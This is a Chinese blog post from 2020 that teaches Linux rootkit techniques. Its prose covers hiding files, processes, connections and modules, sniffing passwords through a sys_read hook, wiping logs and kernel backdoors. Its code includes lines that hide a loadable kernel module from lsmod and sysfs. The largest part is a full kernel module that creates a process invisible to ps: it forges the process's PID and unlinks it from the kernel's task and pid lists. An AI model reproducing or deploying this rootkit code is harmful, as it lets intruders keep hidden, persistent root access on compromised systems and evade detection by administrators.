Rootkit学习

Rootkit介绍:

  Rootkits是linux/unix获取root权限之后使得攻击者可以隐藏自己的踪迹和保留root访问权限的神器,通常攻击者使用 rootkit的检查系统查看是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息,通过rootkit的嗅探器还可以获得其他系统的用户和密码

  Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,从Ring0到Ring3(后面简称R0、R1、R2、R3)。R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层,每一层只能访问本层以及权限更低层的数据。 这应该是很好的设计,这样操作系统工作在最核心层,没有其他代码可以修改它;其他驱动程序工作在R1、R2层,有要求则向R0层调用,这样可以有效保障操作系统的安全性。但现在的OS,包括Windows和Linux都没有采用4层权限,而只是使用2层——R0层和R3层,分别来存放操作系统数据和应用程序数据,从而导致一旦驱动加载了,就运行在R0层,就拥有了和操作系统同样的权限,可以做任何事情,而所谓的rootkit也就随之而生了。实际上,所有的内核代码都拥有根权限,当然,并不一定它们都叫做rootkit,这要看你用它来做什么。R3层的rootkit通过文件完整性检测较容易发现

R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层

rootkit的常见功能:

隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。

隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。

隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。

rootkit的主要技术:

lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。

模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。

拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。

劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。

inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。

端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。

 

LKM的编码学习(隐藏模块

正常的ko文件

#include <linux/init.h>  
#include <linux/kernel.h>  
#include <linux/module.h>  

static int hello_init(void) 
{  
    printk("Hello world.\n");  
    return 0;  
} 


static void hello_exit(void)
{  
    printk("Goodbye world.\n");  
    return;  
}  

module_init(hello_init);  
module_exit(hello_exit); 


MODULE_LICENSE("GPL");  
MODULE_AUTHOR("fly"); 
1 obj-m:=helloworld.o   
2 KDIR:=/lib/modules/5.4.0-21-generic/build  
3 MAKE:=make  
4 default5     $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  
6 clean:
7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

 

如何改成隐藏模块

1)隐藏打印信息

  在LKM中,是无法依赖于我们平时使用的C库的,模块仅仅被链接到内核,只可以调用内核所导出的函数,不存在可链接的函数库。这是内核编程与我们平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里,当然我们也可以用printk()将信息输出至控制台

2)从lsmod命令中隐藏我们的模块

  对于rootkit来说,隐蔽性是非常重要的,一个lsmod命令就可以让我们的lkm遁形,这显然谈不上隐蔽。对于dmesg命令,我们只要删除掉printk()函数就好,这个函数所起的仅仅是示范作用。但是如何让lsmod命令无法显示我们的模块呢?

lsmod解释:
lsmod命令是通过/proc/modules来获取当前系统模块信息的。而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、
从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,
模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,
都会被加入到这个链表的头部,通过modules->next即可引用到

为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块:

list_del_init(&__this_module.list);

将"list_del_init(&__this_module.list);"加入到我们的初始化函数中,保存,编译,装载模块,再lsmod

3)从sysfs中隐藏我们的模块

除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块

解决方案:

kobject_del(&THIS_MODULE->mkobj.kobj);
kobj是一个struct kobject结构体,而kobject是组成设备模型的基本结构。这时我们又要简单介绍下sysfs这个概念,sysfs是一种基于ram的文件系统,它提供了一种用于向用户空间展现内核空间里的对象、
属性和链接的方法。sysfs与kobject层次紧密相连,它将kobject层次关系表现出来,使得用户空间可以看见这些层次关系。通常,sysfs是挂在在/sys目录下的,而/sys/module是一个sysfs的一个目录层次,
包含当前加载模块的信息. 我们通过kobject_del()函数删除我们当前模块的kobject就可以起到在/sys/module中隐藏lkm的作用。

隐形进程编码学习(隐藏进程

目标:

ps 查看不到进程

1)将task从tasks链表摘除
2)将task从pid链表摘除

设计思想:

我们都知道每个进程都有一个task_struct存放进程信息,task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的,将task从各类链表摘除让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变,

1、kmem_cache_alloc_node的作用
通过这段代码可以看出,它调用了kmem_cache_alloc_node函数,在task_struct的缓存区域task_struct分配了一块内存

static struct kmem_cache *task_struct_cachep;
 
task_struct_cachep = kmem_cache_create("task_struct",
            arch_task_struct_size, align,
            SLAB_PANIC|SLAB_NOTRACK|SLAB_ACCOUNT, NULL);
 
static inline struct task_struct *alloc_task_struct_node(int node)
{
    return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}
 
static inline void free_task_struct(struct task_struct *tsk)
{
    kmem_cache_free(task_struct_cachep, tsk);
}
1、在系统初始化的时候,task_struct_cachep 会被 kmem_cache_create 函数创建。
2、这个函数也比较容易看懂、专门用于分配 task_struct 对象的缓存。这个缓存区的名字就叫 task_struct。
3、缓存区中每一块的大小正好等于 task_struct 的大小,也即 arch_task_struct_size。

1、kmem_cache_alloc_node函数的作用?
1、有了这个缓存区,每次创建task_struct的时候,我们就不用到内存里面去分配,先在缓存里面看看有没有直接可用的,这就是kmem_cache_alloc_node的作用

2、kmem_cache_free的作用
当一个进程结束,task_struct 也不用直接被销毁,而是放回到缓存中,这就是kmem_cache_free的作用,

这样,新进程创建的时候,我们就可以直接用现成的缓存中的task_struct了

2、缓存区struct kmem_cache到底是什么样子
struct kmem_cache {
    struct kmem_cache_cpu __percpu *cpu_slab;
    /* Used for retriving partial slabs etc */
    unsigned long flags;
    unsigned long min_partial;
    int size;       /* The size of an object including meta data */
    int object_size;    /* The size of an object without meta data */
    int offset;     /* Free pointer offset. */
#ifdef CONFIG_SLUB_CPU_PARTIAL
    int cpu_partial;    /* Number of per cpu partial objects to keep around */
#endif
    struct kmem_cache_order_objects oo;
    /* Allocation and freeing of slabs */
    struct kmem_cache_order_objects max;
    struct kmem_cache_order_objects min;
    gfp_t allocflags;   /* gfp flags to use on each alloc */
    int refcount;       /* Refcount for slab cache destroy */
    void (*ctor)(void *);
......
    const char *name;   /* Name (only for display!) */
    struct list_head list;  /* List of slab caches */
......
    struct kmem_cache_node *node[MAX_NUMNODES];
};
3、LIST_HEAD 1、在 struct kemem_cache里面,有个变量struct list_head list,这个结构我们已经看到过多次了 2、我们可以想象一下,对于操作系统来讲,要创建和管理的缓存绝对不止task_struct,难道mm_struct就不需要吗? 3、fs_struct就不需要吗?都需要,因此所有的缓存最后都会放在一个链表里面这就是LIST_HEAD(slab_caches)

所以创建通过task_struct_cachep来进行, 如果创建一个不被察觉的进程就不能走正常流程

自己创建进程

base = kmalloc(2048*3, GFP_KERNEL);
tsk = (struct task_struct *)(base + 157);

malloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,但是它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:

bash = page_address(__alloc_pages(...));
tsk = (struct task_struct *)(base + 157);

下面步骤:

  1. 照着copy_process的实现进行最小化代码复制。
  2. 不要复制copy_process的pid管理部分,改为LIST_INIT。
  3. 不要复制copy_process的链表管理部分,改为HLIST_INIT。
  4. 所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
  5. 剩余的空闲内存填充task字段的显著特征值,以混淆视听。
  6. 实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
  7. 设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
  8. wake up新进程。
  9. 新进程尽量不要退出,因为kmem cache不会收容它的尸体

源码:

  1 #include <linux/module.h>
  2 #include <linux/cred.h>
  3 #include <linux/slab.h>
  4 #include <linux/kallsyms.h>
  5 #include <linux/nsproxy.h>
  6 #include <linux/pid_namespace.h>
  7 #include <linux/random.h>
  8 #include <linux/fdtable.h>
  9 #include <linux/cgroup.h>
 10 #include <linux/sched.h>
 11 
 12 int (*_run_process)(struct filename *file, char **, char **);
 13 struct filename * (*_getname_kernel)(char *name);
 14 
 15 int test_stub2(void)
 16 {
 17     printk("stub pid: %d  at %p\n", current->pid, current);
 18     if (_run_process) {
 19         int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
 20         printk("result:%d\n", r);
 21     }
 22     current->parent = current;
 23     current->real_parent = current;
 24     // kernel thread要返回用户态,才能达到exec到新task的效果。
 25     // 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。
 26     // 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。
 27     return 0;
 28 }
 29 
 30 int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
 31 int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
 32 void (*_wake_up_new_task)(struct task_struct *);
 33 void (*_sched_fork)(unsigned long, struct task_struct *);
 34 struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
 35 struct files_struct * (*_dup_fd)(struct files_struct *, int *);
 36 struct pid * (*_alloc_pid)(struct pid_namespace *ns);
 37 enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer);
 38 
 39 static int __init private_proc_init(void)
 40 {
 41     unsigned char *base;
 42     struct task_struct *tsk;
 43     struct thread_info *ti;
 44     struct task_struct *orig = current;
 45     unsigned long *stackend;
 46     struct pid_link *link;
 47     struct hlist_node *node;
 48     struct sighand_struct *sig;
 49     struct signal_struct *sign;
 50     struct cred *new;
 51     struct pid *pid = NULL;
 52     int type, err = 0;
 53 
 54     _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
 55     _sched_fork = (void *)kallsyms_lookup_name("sched_fork");
 56     _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
 57     _dup_fd = (void *)kallsyms_lookup_name("dup_fd");
 58     _run_process = (void *)kallsyms_lookup_name("do_execve");
 59     _getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
 60     _it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
 61     _alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
 62     _copy_thread = (void *)kallsyms_lookup_name("copy_thread");
 63     _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");
 64 
 65     base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
 66     tsk = (struct task_struct *)(base + 157);
 67     _arch_dup_task_struct(tsk, orig);
 68     base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
 69     ti = (struct thread_info *)(base);
 70     tsk->stack = ti;
 71     *task_thread_info(tsk) = *task_thread_info(orig);
 72     task_thread_info(tsk)->task = tsk;
 73     stackend = end_of_stack(tsk);
 74     *stackend = 0x57AC6E9D;
 75     tsk->stack_canary = get_random_int();
 76 
 77     clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
 78     clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED );
 79     // 避免wait释放kmalloc的内存到特定slab,引用计数设置为2
 80     atomic_set(&tsk->usage, 2);
 81     tsk->splice_pipe = NULL;
 82     tsk->task_frag.page = NULL;
 83     memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));
 84 
 85     raw_spin_lock_init(&tsk->pi_lock);
 86     plist_head_init(&tsk->pi_waiters);
 87     tsk->pi_blocked_on = NULL;
 88 
 89     rcu_copy_process(tsk);
 90     tsk->vfork_done = NULL;
 91     spin_lock_init(&tsk->alloc_lock);
 92     init_sigpending(&tsk->pending);
 93 
 94     seqlock_init(&tsk->vtime_seqlock);
 95     tsk->audit_context = NULL;
 96 
 97     _sched_fork(0, tsk);
 98 
 99     tsk->mm = NULL;
100     tsk->active_mm = NULL;
101     memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
102     mutex_init(&tsk->perf_event_mutex);
103     INIT_LIST_HEAD(&tsk->perf_event_list);
104 
105     new = prepare_creds();
106     if (new->thread_keyring) {
107         key_put(new->thread_keyring);
108         new->thread_keyring = NULL;
109     }
110     key_put(new->process_keyring);
111     new->process_keyring = NULL;
112     atomic_inc(&new->user->processes);
113     tsk->cred = tsk->real_cred = get_cred(new);
114     validate_creds(new);
115 
116     tsk->fs = _copy_fs_struct(current->fs);
117     tsk->files = _dup_fd(current->files, &err);
118     base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
119     // 奇数地址
120     sig = (struct sighand_struct *)(base + 3);
121     // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
122     atomic_set(&sig->count, 2);
123     memcpy(sig->action, current->sighand->action, sizeof(sig->action));
124 
125     base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
126     sign = (struct signal_struct *)(base + 7);
127     sign->nr_threads = 1;
128     // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
129     atomic_set(&sign->live, 2);
130     atomic_set(&sign->sigcnt, 2);
131     sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
132     tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
133     init_waitqueue_head(&sign->wait_chldexit);
134     sign->curr_target = tsk;
135     init_sigpending(&sign->shared_pending);
136     INIT_LIST_HEAD(&sign->posix_timers);
137     seqlock_init(&sign->stats_lock);
138     memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);
139 
140     tsk->cgroups = current->cgroups;
141     atomic_inc(&tsk->cgroups->refcount);
142     INIT_LIST_HEAD(&tsk->cg_list);
143 
144     // 设置堆栈以及入口
145     tsk->flags |= PF_KTHREAD;
146     // 我们用一个kernel thread stub来exec到用户态的binary。
147     _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
148     tsk->clear_child_tid = NULL;
149     tsk->set_child_tid = NULL;
150 
151     // 伪造身份证明
152     pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
153     pid->level = current->nsproxy->pid_ns->level;
154     pid->numbers[0].nr = 0xffff;
155     pid->numbers[0].ns = current->nsproxy->pid_ns;
156     for (type = 0; type < PIDTYPE_MAX; ++type)
157         INIT_HLIST_HEAD(&pid->tasks[type]);
158     atomic_set(&pid->count, 2);
159 
160     // 进程管理结构自吞尾
161     INIT_LIST_HEAD(&tsk->ptrace_entry);
162     INIT_LIST_HEAD(&tsk->ptraced);
163     atomic_set(&tsk->ptrace_bp_refcnt, 1);
164     tsk->jobctl = 0;
165     tsk->ptrace = 0;
166     tsk->pi_state_cache = NULL;
167     tsk->group_leader = tsk;
168     INIT_LIST_HEAD(&tsk->thread_group);
169     tsk->pid = pid_nr(pid);
170     INIT_LIST_HEAD(&tsk->pi_state_list);
171     INIT_LIST_HEAD(&tsk->tasks);
172     INIT_LIST_HEAD(&tsk->children);
173     INIT_LIST_HEAD(&tsk->sibling);
174 
175     // 进程组织自吞尾
176     tsk->pids[PIDTYPE_PID].pid = pid;
177     link = &tsk->pids[PIDTYPE_PID];
178     node = &link->node;
179     INIT_HLIST_NODE(node);
180     node->pprev = &node;
181 
182     // 来吧!
183     _wake_up_new_task(tsk);
184 
185     return -1; // oneshot,并非真正加载模块
186 }
187 
188 static void __exit private_proc_exit(void)
189 {
190 }
191 
192 module_init(private_proc_init);
193 module_exit(private_proc_exit);
194 MODULE_LICENSE("GPL");

测试程序:

1 #include <fcntl.h>
2 int main(int argc, char **argv)
3 {
4     int fd = open("/dev/pts/0", O_RDWR);
5     while (1) {
6         write(fd, "test\n", 10);
7         sleep(1);
8     }
9 }

 

参考文献:

Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)

https://www.freebuf.com/articles/system/54263.html

https://github.com/ivyl/rootkit

https://www.freebuf.com/articles/network/23665.html

 

posted @ 2020-05-17 23:07  坚持,每天进步一点点  阅读(4969)  评论(0编辑  收藏  举报